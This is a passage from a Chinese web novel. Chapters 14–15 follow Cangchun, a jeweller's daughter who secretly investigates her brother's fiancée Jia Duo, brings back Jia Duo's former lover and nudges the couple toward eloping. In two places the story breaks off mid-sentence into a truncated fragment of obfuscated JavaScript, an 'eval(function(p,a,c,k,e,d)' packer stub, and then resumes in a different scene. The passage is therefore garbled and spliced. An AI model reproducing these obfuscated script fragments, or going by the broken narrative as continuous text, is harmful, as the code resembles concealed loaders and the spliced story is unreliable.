藏春点点头,示意他走近些,“我记得铺子里负责洒扫的柴五娘,她原籍是汴京的?” 陈掌柜一愣,以为柴五娘犯了什么过错惹得二小姐查问,忙不迭地解释:“是,她确是汴京人,只是命苦得很,嫁人后丈夫嗜赌成性,欠下了一屁股阎王债,被债主追得走投无路,那赌鬼丈夫也不知逃到哪个爪哇国去了,她这才投奔到我这儿寻条活路……” 藏春摆摆手打断他,语气平静:“不必紧张,我并非要责难她,你去唤她来,就说我有事吩咐,让她到里间厢房来见我。” 不多时,柴五娘搓着粗糙的手,带着几分局促不安地走了进来,脸上堆着讨好的笑:“二小姐,您找小的?有什么活儿您尽管吩咐。” 藏春坐在桌边,手指无意识地拨弄着算盘珠,发出清脆的嗒嗒声,她开门见山,“你替我去汴京查一件事,若能办妥,你丈夫欠下的那些赌债,我替你还清。” 柴五娘忙不迭领命,褶子都带着笑,她随便收拾了几件衣裳,便打算动身回汴京。 出门时正巧撞上往铺子里走的戚风堂,她略一点头便与他擦过肩去。 14. 金凤冠 藏春没料到戚风堂会突然出现在铺子里。 见他目光略带审视地落在柴五娘消失的方向,她忙上前两步,亲昵地挽住他的胳膊:“哥哥怎么来了,今日不忙了吗?” 戚风堂收回目光,环视铺内,见一切井然有序,紧绷的神色才稍稍放松:“方才见你步履匆匆,还以为是铺子里出了什么纰漏,放心不下,便过来瞧瞧。” 陈掌柜见二人都在,也笑着上前凑趣:“二小姐如今打理铺子愈发得心应手了,连我也跟着省心不少。” 藏春放下挽着戚风堂的手,单手支颐,状似无意地扫过支摘窗外,柴五娘的身影早已消失在人流。 她这才侧过头,对着戚风堂绽开明媚的笑容:“哥哥还不知道吧,如今临安城里的闺秀们出嫁,可都把能得一套小戚公子亲手打制的头面,当做头等要紧的事。” 戚风堂对此不置可否。 临安风尚向来如此,追捧什么便蜂拥而上,但要想让戚宝斋的金字招牌长久屹立,靠的绝非一时的虚名,还需倾注更多心血。 见今日客少清闲,陈掌柜便劝兄妹俩早些回府歇息,铺子里有他照应足矣。 回戚宅的路上,两侧商铺渐次挑起了灯笼,戚风堂想起这些日子忙于那顶金凤冠,似乎怠慢了贾朵,于礼数上有些疏失,他便与身旁的妹妹商议:“我想着是不是该寻个日子,邀贾朵出来泛舟西湖,或去听一出新排的杂剧,两家既已定亲,人尽皆知,我们这边总该主动些,以免贾家觉得慢待。” 藏春低着头走路,看着戚风堂侧头说话的影子刚好落在自己发顶,“应该的,朵姐姐会高兴的。” 因他这句“怕冷落了贾朵”,藏春此后邀请贾朵来府上走动得愈发勤快,每每都言明是风堂哥哥惦念。 宋明音看在眼里,只觉藏春愈发识大体,对她说话的语气也不自觉软和了三分。日子久了,她也渐渐接受了戚焕再也无法站立的事实,好在儿子争气,无论是经营还是手艺,都丝毫不逊于戚焕。 戚宅的吃穿用度,甚至比戚焕掌家时更为讲究奢华,连幺儿每日服用的汤药,用的都是顶好的药材。 奶娘见她吩咐厨房给戚风堂炖参汤,忍不住打趣:“夫人倒像个会变脸的猢狲,前些日子还愁云惨淡,如今又是大郎长大郎短了。” 宋明音脸一红,嗔道:“我就是觉得大郎争气,若非他从小肯下苦功钻研珠玉商道,咱们家哪能还维持住这份体面?” “可我记得夫人从前总嫌他整日只知对着死物,跟您不亲近呢。”奶娘年岁已高,又是看着宋明音长大,说起她来毫不嘴软。 宋明音被她噎住,索性不理她,借口去看幺儿的汤药熬得如何,踱步出来,刚走到廊下,便瞧见藏春引着贾朵,正往翠园方向去。 这一下宋明音仿佛已看到自己日后含饴弄孙的快活场景。 贾朵从藏春口中得知戚风堂记挂自己,在院子里坐下时也自若了许多。 “市舶司王大人家的公子再过两月便要成婚了,哥哥要亲手为新娘子打造一顶金缕九凤冠。” 藏春一面说着,一面拉贾朵在院中的青石鼓凳上坐下,四敞极有眼色地奉上两盏新沏的龙团凤饼,便要转身去通传。 贾朵脸上微红,到底还未过门,不好意思以女主人姿态自居,对四敞道:“不必扰风堂哥哥了,我们就在这儿坐坐,看看就好。” 还是那扇熟悉的支摘窗,一顶华贵的金凤冠在他手下已具雏形。 他微微抬手,藏春便知他下一步动作。 戚风堂将烧融的金液浇入青石板凹槽之中,随即便探手进去。贾朵看得心惊肉跳,下意识地绞紧了手中的罗帕。 “这是累丝金线。”藏春轻声解释,“要将金块拉成极细的金丝,再用这金丝盘曲累叠出凤凰羽翼的纹样,整个临安城,无人能比哥哥拉出的金丝更细匀坚韧。” 话音未落,贾朵见戚风堂手臂收紧发力,转眼便拉成了一束极细的金丝。 只是他那捻着金丝的手指关节处,不可避免地又添了几道深深的红痕,藏春光是看着便觉得有些肉疼。 贾朵看得痴了,只觉得他什么都会做,不禁心口砰砰乱跳,想到日后成了亲,这双手也会如今日这般为她打造各种漂亮的首饰。 天色将暮,贾朵不便久留,藏春送她至院门,返回时却见石凳上遗落了一方罗帕,上面绣着的似是月下白梅图。 她快步追出大门,门房却说贾姑娘已走远了,藏春本想遣人送去,念头一转,又握着帕子折回了翠园。 工房内戚风堂刚放下那顶半成的凤冠,微微仰头,喉结随之滚动,活动着有些酸涩的手腕指节。 市舶司掌握着珠宝进口税,他家的事容不得半点敷衍,戚风堂必须亲力亲为。 “哥哥手疼了?”藏春拿着那方帕子走近,语气里含着关切的责备。 “无妨,快完工了。” 斜晖脉脉,映得桌上未完成的金凤流光溢彩。 藏春抿了抿唇,将帕子在他面前摊开:“方才朵姐姐走得急,落下了这方帕子,哥哥…何不亲自送过去?”她目光紧锁戚风堂,存心试探。 戚风堂揉了揉眉心,瞥了眼案头刚送来的几本衡阳分号的账册,“二妹妹随意打发个小厮送去便是了。” “好,那我去安排,哥哥早些歇息,小厨房炖了血燕,若是饿了就让四敞去取。”藏春眼底笑意粲然,顺手将帕子收回自己怀中。 她将迈过门槛时,戚风堂的声音从身后传来:“二妹妹。” 藏春脚步一顿。 戚风堂缓步走近,声音温和:“这些日子辛苦你了,本该是我这个做兄长的照顾你,如今反倒让你处处替我周全,操持这许多事。” 他指的是她在自己和贾朵之间周旋。 藏春背对着他,并未回头,只轻声道:“哥哥说哪里话。” 出了翠园,四敞迎上来要替她跑腿送帕子,藏春婉拒,还是亲自去了贾府。 贾府门房认得她是未来的亲家小姐,十分客气,殷勤地告知贾朵的绣楼方位,藏春谢过,凭着记忆在熟悉的庭院中穿行。 行至一处花木掩映的曲折小径,忽闻前方树荫下传来两个婆子压低的说话声,藏春不欲多事,正想绕道而行,却隐约听到了她们好像在谈论…贾朵? 她脚步钉在原地,隔着十余步的距离,婆子们的声音断断续续入耳。 “…你说咱家大小姐这命,啧啧,前脚刚和阿石,后脚转头就攀上戚家公子这般打着灯笼也难寻的好亲事,真是……” “可不是嘛,亏得老爷当机立断,举家从汴京搬了回来,要不然,那点子腌臜事一旦传开,别说大小姐了,就连咱们二小姐,怕也要被连累得嫁不出去了……” 藏春胸口一滞,低头再看向那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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幽静的长夜,藏春的手乖乖地躺在他温热的掌心里,任由他上药包扎。 戚风堂的目光落在旁边那顶半成品的发冠上,眉头微蹙:“这些东西,自有铺子里的老师傅们去做,二妹妹又何必亲自动手?” 藏春并未着急抽回手,而是细细的感受着他指腹因常年持握工具而磨出的薄茧,她将声音放得又轻又软:“哥哥眼看就要成婚了,我想着亲手给朵姐姐做一顶这凤冠,这样也能显出我们戚家的诚意。” 她顿了顿,抬起眼,“哥哥不会是打算亲自给朵姐姐做吧?若是那样……”她留了半句,目光安静地等待着戚风堂的反应。 戚风堂低头专注地打好最后一个结,才淡然道:“那倒不必,这活自有手艺老道的伙计操持,不过你若实在想做,拿去铺子里,让老师傅从旁指点,到时候便说是你亲手做的,也是一样的。” 他松开手,在她旁边的木凳坐下。 两人挨得很近,藏春甚至能感受到他锦袍下膝盖传来的温度,正轻轻抵着自己的腿侧。 她自然而然地靠在了他身上。 “累了?”戚风堂的声音低沉了几分,带着一丝纵容。 “…嗯…”藏春含糊地应着,调整了一个更舒服的姿势,将半边身子的重量都倚靠过去,闻着他身上淡淡的封蜡味儿。 窗外夏蝉不知疲倦地鼓噪,里面夹着几句藏春用气声发出的叹问:“哥哥成了亲…还会像现在这般待我好吗?” 蝉鸣声太过响亮,戚风堂只觉她气息拂过耳畔,并未听清,不由得微微俯首侧耳:“二妹妹说什么?” 藏春却不再言语,只是将头又往他臂膀深处埋了埋,她望着案上那顶金冠,心里想着等这顶冠子打好,柴五娘也该从汴京回来了吧? 15. 私奔 不到半个月,柴五娘便风尘仆仆地从汴京赶了回来。 她带着大包小包的汴京土仪,一到戚宝斋便喜气洋洋地分给陈掌柜和伙计们,山鸡、蘑菇、蜜饯果子堆了一柜台,绘声绘色地讲起她这趟回乡探亲的风光。 陈掌柜捻须笑道:“你这还不是全赖二小姐心善,念着你想家,给你银子让你回去。” “是是是,二小姐大恩大德。”柴五娘笑得不见眼眉,目光却瞟向里间的厢房。 藏春静静坐在厢房内,旁观外间的热闹,柴五娘比她预想的还要灵活聪明。 待柴五娘与伙计们寒暄完,她才不紧不慢地抱着一包东西进来,反手将厢房门严严实实关上,口中故意扬声道:“二小姐,汴京带回来的特产,给您带了点补身子的。” 随即她笑容便收了回去,凑近藏春,压低了嗓子,“二小姐,您猜怎么着?那贾家姑娘,可真不是什么正经闺秀。” 柴五娘的声音带着市井妇人的鄙夷,“贾家把这事捂得死紧,寻常人根本打听不到,亏得我有个拐着弯的表亲在贾府后园做花匠,这才挖出点料,贾朵跟一个叫阿石的马夫私奔过。” 藏春端着茶盏的手有些不稳。 “二小姐您别不信!”柴五娘急忙补充,“听说那阿石跟她打小就认识,青梅竹马的情分呢,后来被贾老爷发现,要把阿石发卖了,这贾朵竟鬼迷心窍,跟那马夫商量着要私奔!结果呢,嘿!那阿石就是个没种的软骨头,事到临头,自己个儿先跑了,把个大小姐孤零零丢在了半道上。” 柴五娘喘了口气,脸上露出一丝邀功的得意:“二小姐,我自作主张了一回,想着您或许有用处,就把那阿石也给您‘请’回来了,用您给的银子,在城外赁了个小院儿安顿着。那小子如今是奴籍,离了主家过得猪狗不如,一听有银子拿,屁颠屁颠就跟我来了。” 藏春的心跳得厉害,她未想柴五娘竟如此雷厉风行。 “好……”藏春定了定神,声音有些发紧,“阿石那边,他要什么都满足,务必让他让他再去寻贾朵。” “二小姐放心。”柴五娘抢过话头,“他俩那点情分,就是藕断丝还连着丝呢,贾小姐现在是被伤了心,才同意另嫁。俗话说得好,死灰都能复燃,更何况是活生生的旧情人呢?” 柴五娘口中带着一丝圆滑的恭维,“大少爷那样神仙般的人物,岂能娶个…破鞋进门?二小姐您这是替戚家清门户,是大义,这些腌臜事,您就甭操心了,脏手的事儿交给我。” 外面传来伙计催促柴五娘去干活的喊声,柴五娘应了一声,匆匆告退。 厢房内只留下藏春一人。 她真的是为了戚家吗?攥紧的手指微微颤抖,心乱如麻。 连着一个多月,贾朵都未曾登门戚府,宋明音心中起疑,忍不住向藏春询问。 “许是……婚期将近,朵姐姐有些女儿家的羞涩,不好意思常来了吧。”藏春正坐在暖阁炕桌旁,用细软的鹿皮沾着油脂,细细打磨着那顶已经完工的赤金凤冠。 杜姨娘在一旁打着络子,闻言附和道:“大夫人不必忧心,若是正经的官宦人家,订了亲后男女双方更是要避嫌不见的,贾小姐这般守礼,正是大家闺秀的体统。” 风林下了学回来,见人都在暖阁,也爬上暖炕,好奇地凑近那顶金冠,伸手就想摸:“二姐姐,这金灿灿的真好看,掰块给我玩儿呗?” 藏春被他逗笑,轻轻拍开他的手:“这是给你未来嫂嫂的聘礼,想要问你哥哥去。” 暖阁里笑语晏晏,都在说着戚风堂的婚事。 文芝与张进士的事自然被暂时搁置,她安静地坐在暖阁的角落,摩挲着袖中藏着的一方诗笺。 对于风林缠着藏春笑闹,她也兴致缺缺。 藏春寻了个由头,离开了暖阁,她避开众人,悄然来到了戚宝斋后巷僻静的马棚附近。 这里远离主街,只拴着几匹拉货的驽马,在昏暗中垂首嚼着草料,浓重的牲口气味弥漫,平时鲜少有人踏足。 柴五娘早已等在那里,“二小姐,成了,那贾朵到底是个心软的,架不住阿石那小子一把鼻涕一把泪地跪地恳求,又是赌咒发誓的,那点子旧情又烧起来了。” 藏春性子好,从不打断柴五娘说书似的讲话,柴五娘看看四周,又在话中加了自己的见解,“贾小姐对咱们大少爷,说白了就是被阿石伤了心后的糊涂心思,哪里比得上从小一块儿长大的情分,这不,几句话就被哄得晕头转向了。” 听着柴五娘的描述,藏春心头五味杂陈。 婚期一天天逼近,她心中愈发觉得…戚风堂正在彻底的被另一个女人名正言顺地占据。 藏春深吸一口气,将一包沉甸甸的银子塞进柴五娘手里,“就按我们之前商定的办吧,这些银子,足够那阿石安顿一阵子,务必让他听话。” 至于贾朵,藏春的眼神暗了暗,要怪,就怪她为何偏偏要搬回了临安城。 给贾朵打造的那顶金凤冠,藏春盯着看了许久,只觉愈发碍眼。 她拿起它,径直去了前铺交给陈掌柜。 “拿去当了吧。”藏春声音平静。 陈掌柜捧着这顶价值不菲的凤冠,愕然又心疼:“二小姐,这当了太可惜了。” “当了便是,别再拿回来了。”金冠甫一脱手,藏春身上瞬间松快了不少。 藏春没有回家,而是坐上了早已备好的小轿,轿子慢悠悠地出了城,行了约莫十里地,停在一间专供过往行商歇脚的简陋客栈前。 这里土墙灰瓦,门前只挂着一个褪色的安寓客商灯笼。 藏春戴着帷帽,怀中抱着一个装首饰的木匣,里面静静躺着一支绞花白玉镯。 最里间那个僻静的厢房里,贾朵鬓发散乱,衣衫微微散乱,脸上还挂着未干的泪痕。 一个穿着粗布短打,身材精瘦,肤色黝黑的年轻男子正跪在她脚边哭求着:“阿朵,你不能嫁给那个姓戚的,你想想我们从前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贾朵羞愧欲死,哭得肝肠寸断:“藏春妹妹,我知道我对不起风堂哥哥,对不起你们家,可是…可是……”她抬起泪眼,试图抓住最后一丝情分,“阿石他七岁那年把我从结冰的湖里捞出来,救了我的命,十三岁那年,为了护住我,生生替我挡下了一块从屋顶砸落的瓦石,从小到大爹娘管束严厉,只有他偷偷带我溜出去看花灯,买糖人,哪怕回来挨鞭也无所谓……藏春,求你看在我们姐妹一场的情分上,别把阿石的事说出去,求你了…” 她匍匐在地,额头几乎要磕到冰冷的地面。 藏春看着贾朵崩溃绝望的模样,沉默良久,最终被她的哀求打动,长叹一声,俯身将贾朵搀扶起来,“朵姐姐,你既对他如此情深义重,放不下他……” 藏春带着一□□导,“眼下这局面,若想两全,恐怕只有一条路了。” 贾朵泪眼婆娑地望着她。 “私奔。”藏春粉唇轻启。 贾朵眼中泪水凝固,下意识地看向依旧跪在地上的阿石,这个带给过她无数温情的男人,她还是不忍心与他就此分离,只得狠下心点点头。 “朵姐姐放心…以我姐妹之间的交情,我必然会帮你的。”藏春拍了拍她的手安慰。 说完她便拿起木匣,“孙员外夫人出门着急,让我赶来这里给她送镯子,就在隔壁间,我就去了。” 贾朵自己的事尚是乱如麻绳,看着藏春匣子里的绞花手镯,不疑有它,拉着她的手又是一番千恩万谢,感激涕零。 两人就此分道。